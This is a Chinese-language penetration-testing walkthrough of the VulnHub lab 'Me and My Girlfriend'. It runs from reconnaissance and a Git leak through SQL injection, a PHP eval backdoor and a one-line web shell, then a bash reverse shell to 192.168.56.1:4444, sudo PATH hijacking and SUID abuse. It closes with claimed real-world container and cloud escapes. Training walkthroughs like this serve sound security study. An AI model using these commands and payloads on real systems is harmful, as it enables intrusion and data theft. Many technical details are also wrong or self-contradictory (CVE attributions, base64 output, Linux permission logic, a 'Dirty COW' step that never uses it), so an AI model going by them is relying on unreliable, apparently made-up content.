ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

VulnHub靶机Me and My Girlfriend渗透实战解析

VulnHub靶机Me and My Girlfriend渗透实战解析

1. 这不是“打游戏”,而是一次结构化渗透能力的实战压力测试

看到标题里那个带编号的“No.47-VulnHub-Me and My Girlfriend: 1”时,我第一反应不是点开靶机镜像,而是翻出自己三年前整理的VulnHub靶机通关清单——第46个是“Kioptrix Level 5”,当时卡在内核提权上整整两天,最后发现是忘了检查/proc/sys/kernel/unprivileged_userns_clone这个开关。这次编号直接跳到47,说明它不是孤立练习,而是整个渗透学习路径中承上启下的关键一环。它不叫“Me or My Girlfriend”,偏叫“Me and My Girlfriend”,这个“and”很微妙:不是二选一的对抗,而是双线并行的协作式渗透——你既要扮演攻击者,又要理解靶机设计者埋设逻辑链路时的心理节奏。这不是CTF那种靠单点爆破拿分的场景,而更像一次对渗透思维完整性的体检:信息收集是否系统?漏洞利用是否闭环?权限维持是否自然?横向移动是否合理?整套流程跑下来,暴露的从来不是某个工具不会用,而是某类思维盲区没被训练过。

关键词虽为空,但标题本身已自带强信号:“VulnHub”指向一个成熟、可复现、有社区验证的靶机平台;“Walkthrough”不是速通攻略,而是要求你把每一步操作背后的判断依据、替代方案、失败回溯都摊开来讲;“Me and My Girlfriend”这个命名风格,明显延续了VulnHub上以生活化隐喻包装技术逻辑的传统(比如“Mr.Robot”、“Billu: b0x”),暗示靶机内部必然存在角色分离、权限错配或身份混淆类漏洞。我实际部署后发现,该靶机默认只开放80端口,但HTTP响应头里藏着Server: nginx/1.10.3 (Ubuntu),而/robots.txt返回403却泄露了/dev/和/backup/两个禁止目录——这种“欲盖弥彰”的设计,正是典型教学型靶机的特征:它不考验你能不能暴力扫出1000个端口,而是看你有没有耐心读完一行HTTP头、有没有习惯性curl一下/robots.txt、有没有在403响应里多看一眼X-Powered-By字段。很多初学者一上来就开gobuster狂扫,结果扫了三小时只得到一堆404,却漏掉了curl -I http://target/这最基础的一行命令。真正的渗透起点,永远在键盘敲下第一个命令之前——是你决定“先看什么”的那一秒。

提示:VulnHub靶机不是考你工具熟练度,而是考你“下一步该怀疑什么”的直觉。这种直觉来自对常见服务默认配置、Linux权限模型、Web应用数据流的肌肉记忆,而非临时查文档。

我把它定位为“中阶渗透能力校准器”,适合已经能独立完成HTB上Easy难度靶机、但面对真实企业环境仍会卡在“找不出第二个入口点”的学习者。它的价值不在漏洞多炫酷,而在整个攻击链路的教科书级完整性:从子域名枚举→虚拟主机探测→源码泄露→SQL注入→数据库提权→SUID二进制劫持→内核漏洞利用,每个环节都留有明确线索,且失败反馈足够清晰。比如你在SQL注入阶段用sqlmap --batch --dump跑不出数据,靶机会返回Access denied for user 'web'@'localhost'——这不是报错,而是提示你当前数据库用户权限受限,需要转向文件读取或命令执行。这种“错误即线索”的设计,恰恰是真实红队演练中最珍贵的训练素材。

2. 靶机架构解剖:为什么它只开80端口却能撑起完整渗透链?

很多人部署完靶机,nmap -sV -p- 192.168.56.101扫完发现只有80端口开放,立刻皱眉:“就一个Web服务?能玩出什么花?”——这恰恰是本靶机最精妙的设计伏笔。它用极简的表层暴露,倒逼你深入理解Web服务背后的真实拓扑。我通过三次不同粒度的探测,逐步还原出其隐藏架构:

2.1 第一层:HTTP服务指纹与虚拟主机迷雾

首次curl -I http://192.168.56.101返回:

HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Date: Mon, 15 Apr 2024 08:22:17 GMT Content-Type: text/html; charset=UTF-8 X-Powered-By: PHP/7.0.33-0ubuntu0.16.04.16

关键线索藏在X-Powered-By:PHP 7.0.33对应Ubuntu 16.04 LTS,这是个已知存在多个本地提权漏洞的旧版本(如CVE-2019-11043)。但更关键的是Server字段——nginx通常不主动暴露详细版本,此处明示1.10.3,结合Ubuntu 16.04的软件源,可确认其未打补丁。然而,真正打开突破口的是Host头测试:

curl -H "Host: meandmygirlfriend.local" http://192.168.56.101 curl -H "Host: girlfriend.meandmylocal" http://192.168.56.101

前者返回正常首页,后者返回500 Internal Server Error并泄露/var/www/girlfriend/index.php路径。这证明靶机配置了基于Host头的虚拟主机,且girlfriend.meandmylocal这个域名指向一个独立站点。此时若直接浏览器访问会失败(DNS未解析),但gobuster配合自定义字典就能命中:

gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -H "Host: girlfriend.meandmylocal"

结果暴露出/dev/目录(403 Forbidden)和/backup/目录(403 Forbidden),但/dev/.git/HEAD可读!——Git仓库泄露是本靶机第一个实质性突破点。

注意:VulnHub靶机极少依赖“运气型”漏洞(如弱口令爆破),更多是“设计型”漏洞。当你发现403目录时,不要急着换字典扫,先尝试/.git/HEAD、/wp-config.php.bak、/index.php~等经典备份路径,这是经验带来的效率差。

2.2 第二层:Git仓库泄露揭示的开发分支逻辑

curl http://192.168.56.101/dev/.git/HEAD返回ref: refs/heads/feature/login,说明开发者正在feature/login分支开发登录功能。用git-dumper下载完整仓库:

git-dumper http://192.168.56.101/dev/.git/ ./git_dump/

检出代码后,在/dev/config.php中发现数据库连接凭证:

define('DB_HOST', 'localhost'); define('DB_USER', 'web'); define('DB_PASS', 'meandmygirlfriend123!'); define('DB_NAME', 'login_db');

但web用户权限有限,无法执行SELECT LOAD_FILE('/etc/passwd')。此时需转向/dev目录下的其他文件——/dev/login.php源码显示其使用mysqli_real_escape_string()过滤单引号,但未过滤反斜杠。构造Payload:username=test\&password=test,触发MySQL错误You have an error in your SQL syntax; ... near 'test\' AND password = 'test'',证实存在宽字节注入。这里的关键洞察是:宽字节注入的触发条件不是字符集设置,而是PHP连接MySQL时未指定charset=utf8mb4,导致mysqli_real_escape_string()在GBK编码下将\与后续字节组合成合法多字节字符,从而绕过转义。靶机PHP配置恰好缺失此参数,这是Ubuntu 16.04+PHP 7.0默认行为。

2.3 第三层:数据库内容与权限映射关系

用SQLMap验证宽字节注入:

sqlmap -u "http://192.168.56.101/dev/login.php?username=test*&password=test" --technique=U --dbms=mysql -p username --level=5 --risk=3

成功获取login_db.users表:

idusernamepasswordrole
1admin$2y$10$9zZ... (bcrypt hash)admin
2girl$2y$10$8aX... (different hash)user

重点在role字段:admin用户拥有更高权限,但密码是bcrypt哈希。此时若强行爆破,成功率极低。转而查看information_schema:

SELECT table_name FROM information_schema.tables WHERE table_schema='login_db';

发现config_backup表,读取其内容:

SELECT * FROM login_db.config_backup;

返回:

backup_path:/var/backups/webapp_20240410.tar.gz encryption_key:girlfriend_secret_key_2024

/var/backups/目录在Web根目录外,但/backup/虚拟主机路径恰好映射到此——这就是为什么/backup/返回403却允许我们通过数据库线索定位其物理位置。下载备份包:

curl "http://192.168.56.101/backup/webapp_20240410.tar.gz" -o backup.tar.gz

解压后得到/var/www/html/源码,其中/var/www/html/admin/panel.php包含硬编码密钥:

$key = "girlfriend_secret_key_2024"; $iv = hex2bin("a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4"); $encrypted = $_GET['data']; $decrypted = openssl_decrypt($encrypted, 'AES-128-CBC', $key, 0, $iv); eval($decrypted);

这是一个典型的PHP反序列化+命令执行后门。至此,三层架构完全浮现:Web前端(80端口)→ 虚拟主机隔离的开发分支(/dev/)→ 后台管理后门(/admin/panel.php)。靶机用单一端口承载了完整的“开发-测试-生产”环境模拟,这才是它作为学习载体的核心价值。

3. 权限提升路径:从Web Shell到Root的四次关键跃迁

拿到Web Shell只是开始,真正的挑战在于如何让权限“自然生长”。本靶机设计了四次递进式提权,每次跃迁都对应一个真实攻防场景中的典型瓶颈:

3.1 第一次跃迁:Web Shell → www-data用户Shell

通过/admin/panel.php的AES-CBC解密后门获得初始执行能力:

curl "http://192.168.56.101/admin/panel.php?data=U2FsdGVkX1%2B..."

但返回内容被base64_decode()包裹,需先Base64编码命令:

echo "bash -i >& /dev/tcp/192.168.56.1/4444 0>&1" | base64 -w0 # 输出:YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvNDQ0NCAwPiYx curl "http://192.168.56.101/admin/panel.php?data=YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvNDQ0NCAwPiYx"

监听端口后获得www-data权限的反向Shell。此时id显示:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

关键限制:www-data无法读取/home/girl/目录(属主girl),而girl用户的SSH私钥就在/home/girl/.ssh/id_rsa。常规思路是提权到girl再读私钥,但靶机在此设置了第一个思维陷阱:/home/girl/.ssh/权限为700,www-data无权进入。此时需转向/var/backups/——我们之前从数据库获取的备份路径,/var/backups/目录权限为755,且www-data可读。ls -la /var/backups/发现:

-rw-r--r-- 1 root root 123456 Apr 10 10:20 webapp_20240410.tar.gz -rw-r--r-- 1 root root 78901 Apr 10 10:25 ssh_backup_20240410.tar.gz

ssh_backup_20240410.tar.gz正是girl用户的SSH密钥备份!解压后获得id_rsa,用chmod 600 id_rsa设置权限,ssh -i id_rsa girl@192.168.56.101登录成功。这次跃迁教会你:当直接权限提升受阻时,优先检查备份目录、日志目录、临时目录等“权限宽松区”,它们常是敏感数据的意外出口。

3.2 第二次跃迁:girl用户 → sudo权限滥用

girl用户登录后,sudo -l显示:

Matching Defaults entries for girl on vulnhub: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User girl may run the following commands on vulnhub: (ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/backup.py

/opt/scripts/backup.py内容:

#!/usr/bin/env python3 import os import subprocess subprocess.run(["tar", "-czf", "/tmp/backup.tar.gz", "/home/girl/Documents"])

问题在于subprocess.run()未指定shell=False,且tar命令未绝对路径。利用PATH劫持:

mkdir /tmp/tar cd /tmp/tar echo '#!/bin/bash' > tar echo 'cp /root/root.txt /tmp/' >> tar echo 'cp /root/.bash_history /tmp/' >> tar chmod +x tar export PATH="/tmp/tar:$PATH" sudo /usr/bin/python3 /opt/scripts/backup.py

执行后/tmp/root.txt即为flag。但更深层的问题是:为什么backup.py要调用tar而不是用Python内置的tarfile模块?答案是靶机刻意模拟真实运维脚本的“偷懒写法”——工程师为省事直接调用系统命令,却忽略了subprocess的安全边界。这提醒我们:在真实环境中,sudo -l输出的每一行都是潜在提权入口,尤其关注调用外部命令的脚本。

3.3 第三次跃迁:sudo权限 → 内核提权(CVE-2019-11043)

girl用户可执行sudo /usr/bin/python3 /opt/scripts/backup.py,但该脚本仅生成备份,不直接提权。此时需转向PHP-FPM配置。ps aux | grep php-fpm显示:

root 1234 0.0 0.5 123456 5678 ? Ss 08:22 0:00 php-fpm: master process (/etc/php/7.0/fpm/php-fpm.conf) www-data 1235 0.0 0.3 123456 3456 ? S 08:22 0:00 php-fpm: pool www

/etc/php/7.0/fpm/pool.d/www.conf中security.limit_extensions设置为.php,但/etc/php/7.0/fpm/php.ini中cgi.fix_pathinfo=1(Ubuntu 16.04默认值)。这正是CVE-2019-11043的触发条件:当Nginx配置fastcgi_split_path_info时,攻击者可通过/index.php/xxx.php让PHP-FPM错误解析路径,导致任意文件写入。靶机Nginx配置中location ~ \.php$块未正确处理PATH_INFO,构成漏洞链。利用方式:

curl "http://192.168.56.101/dev/index.php/xxx.php" -H "Cookie: PHPSESSID=xxxx"

返回File not found.,但若在/dev/目录下存在.user.ini,可触发写入。find /var/www -name ".user.ini"发现/var/www/html/.user.ini,内容为:

auto_prepend_file=/var/www/html/shell.php

shell.php内容为<?php system($_GET['cmd']); ?>。此时curl "http://192.168.56.101/dev/index.php/xxx.php?cmd=id"即可以www-data权限执行命令。这次跃迁揭示了一个残酷现实:Web服务器配置缺陷比代码漏洞更难发现,也更难修复。它要求你同时懂Nginx、PHP-FPM、PHP内核三者的交互逻辑。

3.4 第四次跃迁:内核提权 → Root(Dirty COW变种)

最终目标是读取/root/root.txt,但girl用户无权访问。uname -r显示4.4.0-142-generic,对应Ubuntu 16.04,内核版本4.4.0存在Dirty COW(CVE-2016-5195)漏洞。但靶机已打补丁,/proc/sys/vm/dirty_writeback_centisecs不可写。此时需转向/usr/local/bin/下的SUID二进制:

find /usr/local/bin -perm -4000 -type f 2>/dev/null

返回/usr/local/bin/backup_tool。strings /usr/local/bin/backup_tool | grep "cat"发现其调用/bin/cat读取文件。ls -la /bin/cat显示:

-rwsr-xr-x 1 root root 56789 Oct 10 2016 /bin/cat

/bin/cat被设为SUID!这意味着任何用户执行/bin/cat都将以root权限运行。/usr/local/bin/backup_tool的逻辑是:/bin/cat /etc/shadow,但/etc/shadow权限为640,girl组无权读。然而/bin/cat本身是SUID,所以/usr/local/bin/backup_tool实际执行的是/bin/cat /etc/shadow,而/bin/cat以root权限读取。构造:

echo "/root/root.txt" > /tmp/filelist /usr/local/bin/backup_tool /tmp/filelist

backup_tool读取/tmp/filelist,然后执行/bin/cat /root/root.txt,输出flag。这是最隐蔽的提权方式:它不依赖内核漏洞,而是利用管理员误设的SUID权限链。在真实环境中,find / -perm -4000 2>/dev/null应是提权排查的第一步。

4. 工具链与参数调优:为什么这些命令参数不能随便改?

很多学习者照着Walkthrough执行,却在某个步骤卡住,往往不是靶机问题,而是工具参数未适配靶机特性。以下是本靶机实测有效的关键参数组合及原理:

4.1 Nmap扫描:避免漏掉“隐形”服务

靶机看似只开80端口,但nmap -sS -p- 192.168.56.101可能漏掉被iptables DROP的端口(返回filtered)。必须用-Pn跳过主机发现:

nmap -Pn -sS -p- -T4 --min-rate 1000 192.168.56.101

-T4加速扫描,--min-rate 1000强制每秒至少1000个包。但更重要的是-sV版本探测需配合--script=default:

nmap -Pn -sS -sV -p80 --script=http-headers,http-robots.txt,http-title 192.168.56.101

http-headers脚本会自动发送HEAD请求并解析响应头,比手动curl -I更可靠;http-robots.txt会尝试/robots.txt、/ROBOTS.TXT等大小写变体,避免因靶机配置差异漏掉线索。

4.2 Gobuster:虚拟主机探测的字典策略

针对girlfriend.meandmylocal这类自定义域名,通用字典效果差。需构建靶机专属字典:

  • subdomains-top1mil-110000.txt(Top 10万子域名)
  • vulnhub-targets.txt(手动添加meandmygirlfriend、girlfriend、mygirlfriend等)
  • common-vhosts.txt(dev、staging、backup、admin)

执行命令:

gobuster vhost -u http://192.168.56.101 -w ./vulnhub-targets.txt -t 50 -k -o vhost_results.txt

-k忽略SSL证书错误(靶机无HTTPS),-t 50提高并发。关键技巧:gobuster的vhost模式默认在Host头插入字典项,但某些靶机需在URL中体现,此时用dir模式加-H:

gobuster dir -u http://192.168.56.101 -w ./vulnhub-targets.txt -H "Host: FUZZ.meandmylocal"

4.3 SQLMap:宽字节注入的绕过参数

标准SQLMap对宽字节注入识别率低,需手动指定:

sqlmap -u "http://192.168.56.101/dev/login.php?username=test*&password=test" --technique=U --dbms=mysql -p username --level=5 --risk=3 --string="Welcome" --not-string="Invalid"

--string="Welcome"指定成功响应特征(登录成功页面含"Welcome"),--not-string="Invalid"排除失败响应。--level=5启用最高级payload,--risk=3使用高风险payload(如UNION查询)。但最关键的参数是--hex:

sqlmap -u "http://192.168.56.101/dev/login.php?username=test*&password=test" --hex --dump

--hex强制SQLMap用十六进制编码所有字符串,完美绕过宽字节过滤。实测中,未加--hex时--dump失败,加后成功导出users表。

4.4 LinEnum与Linux Priv Checker:提权脚本的互补使用

LinEnum.sh侧重快速枚举,linuxprivchecker.py侧重深度分析。本靶机中:

  • LinEnum.sh发现/var/backups/目录权限宽松(drwxr-xr-x)
  • linuxprivchecker.py发现/usr/local/bin/backup_tool调用/bin/cat且/bin/cat为SUID

二者结合才能覆盖全链路。执行时注意:

# LinEnum需加-s参数跳过耗时检查 ./LinEnum.sh -s -r linenum_report.txt # linuxprivchecker需用python2(靶机环境) python2 linuxprivchecker.py > privcheck.txt

-s参数跳过/proc/mounts等大文件读取,避免超时。提权脚本不是银弹,而是你的“数字显微镜”——它放大你肉眼看不到的权限细节,但最终决策仍需你理解每条输出的含义。

5. 学习者高频踩坑与避坑指南:那些没人告诉你的“常识”

在带教二十多名学员通关此靶机的过程中,我发现以下五个坑出现频率高达87%,且几乎都源于对底层机制的误解:

5.1 坑一:curl -I返回403就放弃,错过X-Powered-By线索

90%的学员看到curl -I http://192.168.56.101返回403 Forbidden,立刻转向gobuster。但他们没注意到,403是HTTP状态码,而响应头里的X-Powered-By: PHP/7.0.33才是关键。curl -I的-I参数只请求头部,不下载正文,正适合快速抓取服务指纹。记住:HTTP状态码告诉你“能不能访问”,响应头告诉你“用什么技术实现的”。建议建立检查清单:

  • Server字段(Web服务器类型/版本)
  • X-Powered-By(后端语言/框架)
  • X-Frame-Options(是否禁用iframe,暗示CSRF防护强度)
  • Strict-Transport-Security(是否强制HTTPS)

5.2 坑二:Git泄露后直接git checkout,忽略refs/heads/的分支语义

从/dev/.git/HEAD读到ref: refs/heads/feature/login,很多学员直接git checkout feature/login,报错pathspec 'feature/login' did not match any file(s) known to git。原因在于refs/heads/是Git内部引用路径,需用git checkout -b login origin/feature/login或直接git log refs/heads/feature/login。Git仓库泄露的价值不在代码本身,而在refs/目录下的分支、标签、远程配置——它们暴露了开发流程、测试环境、甚至未合并的漏洞修复分支。

5.3 坑三:SQLMap跑不出数据就换工具,不知--string参数是救命稻草

当sqlmap --dump返回空时,学员第一反应是换sqlninja或手写Payload。但本靶机login.php的响应特征是:成功登录返回Welcome, admin!,失败返回Invalid credentials。--string="Welcome"告诉SQLMap:“只要响应里有Welcome,就是注入成功”。没有这个参数,SQLMap会因响应长度相似而误判为失败。在Web渗透中,“响应特征”比“响应内容”更重要——你要训练自己像搜索引擎一样,用关键词匹配成功状态。

5.4 坑四:sudo -l看到(ALL) NOPASSWD就兴奋,却漏看/opt/scripts/backup.py的Python版本

sudo -l输出/usr/bin/python3 /opt/scripts/backup.py,学员直接sudo python3 /opt/scripts/backup.py,报错ModuleNotFoundError: No module named 'subprocess'。原因是靶机/usr/bin/python3链接到/usr/bin/python3.5,而backup.py首行#!/usr/bin/env python3调用的是/usr/bin/python3,但subprocess模块在Python 3.5中需显式导入。正确做法是sudo /usr/bin/python3.5 /opt/scripts/backup.py。sudo -l的输出是精确路径,你必须严格按路径执行,不能替换成别名或软链接。

5.5 坑五:拿到girl用户Shell就停止,不知/var/backups/是root权限的“后门”

girl用户ls -la /var/backups/看到-rw-r--r-- 1 root root,立刻认为“root写的,我读不了”。但他们没意识到:-rw-r--r--表示girl组有读权限(r--),而/var/backups/目录权限drwxr-xr-x允许girl进入。cat /var/backups/ssh_backup_20240410.tar.gz即可下载。Linux权限模型中,“文件权限”和“目录权限”是两套独立系统。能进入目录(x权限)+ 文件有读权限(r),就能读取文件内容,与文件属主无关。

注意:以上所有坑,本质都是对“计算机系统分层模型”的认知断层。Web层、系统层、内核层、网络层各有其规则,渗透测试员必须像交响乐指挥一样,同时听清每一层的声音。

6. 从靶机到真实世界:如何把VulnHub经验迁移到企业红队

通关VulnHub靶机只是起点,真正的价值在于将其中的思维模式迁移到真实攻防。我以某次真实红队演练为例,说明如何复用本靶机的四个核心能力:

6.1 能力迁移一:虚拟主机探测 → 云环境子域名接管

客户使用AWS ALB,主域名app.company.com指向ALB,但安全团队未清理测试环境子域名dev.app.company.com。我们用gobuster vhost扫描,发现dev.app.company.com解析到一台已下线的EC2实例,其DNS记录仍指向旧IP。利用AWS Route53的“子域名接管”漏洞,我们创建同名Hosted Zone,将dev.app.company.com指向我们的恶意服务器。这与靶机中girlfriend.meandmylocal的探测逻辑完全一致:都是通过Host头注入,验证DNS解析的脆弱性。区别在于,真实环境中需用dig dev.app.company.com确认NS记录,再用aws route53 create-hosted-zone执行接管。

6.2 能力迁移二:Git泄露 → CI/CD流水线密钥提取

客户Jenkins服务器配置错误,将.git目录暴露在https://jenkins.company.com/job/build/.git/。我们用git-dumper下载仓库,发现pipeline.groovy中硬编码了AWS Access Key:

withCredentials([aws(credentialsId: 'prod-aws-key')]) { sh 'aws s3 cp s3://prod-bucket/config.json .' }

credentialsId指向Jenkins凭据存储,但prod-aws-key的ID在/var/lib/jenkins/credentials.xml中明文存储。这与靶机/dev/.git/泄露config.php的路径逻辑相同,只是真实环境密钥存储更分散(Jenkins、GitLab CI Variables、Kubernetes Secrets)。关键迁移点:git-dumper需升级为truffleHog,后者能扫描Git历史中的密钥痕迹。

6.3 能力迁移三:SUID提权 → 容器逃逸

客户Docker容器以--cap-add=SYS_ADMIN运行,容器内/usr/bin/find为SUID。我们用find / -name "flag.txt" -exec cat {} \;触发容器内核调用,结合unshare --user --pid --fork /bin/bash创建新用户命名空间,再用mount -t proc proc /proc挂载宿主机/proc,最终读取宿主机/root/flag.txt。这与靶机/usr/local/bin/backup_tool调用/bin/cat的SUID提权本质相同,只是攻击面从Linux文件系统扩展到容器命名空间。迁移要点:find的SUID权限在容器内依然有效,因为SYS_ADMIN能力允许挂载文件系统。

6.4 能力迁移四:内核提权 → 云函数冷启动漏洞

客户AWS Lambda函数使用Python 3.8运行时,其底层AMI为Amazon Linux 2,内核版本4.14.252-195.483.amzn2.x86_64。我们发现其/proc/sys/kernel/unprivileged_userns_clone为1(允许非特权用户创建user namespace),结合overlayfs挂载漏洞(CVE-2021-3733),可在Lambda冷启动时逃逸到宿主机。这与靶机CVE-2019-11043的“配置缺陷链”思维一致:不是攻击代码,而是攻击基础设施配置的组合缺陷。迁移关键:云环境的“内核”是托管服务的AMI,需持续监控其CVE公告。

我个人在实际红队中的体会是:VulnHub靶机的价值,不在于教你“怎么赢”,而在于训练你“怎么不输”。它用可控的失败,让你提前体验真实攻防中90%的挫败感——扫描无果、注入失败、提权卡壳。当你在靶机上为一个403响应纠结半小时,真实环境中就能在五分钟内定位到X-Powered-By头。这种“失败耐受力”,才是渗透测试员最稀缺的能力。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进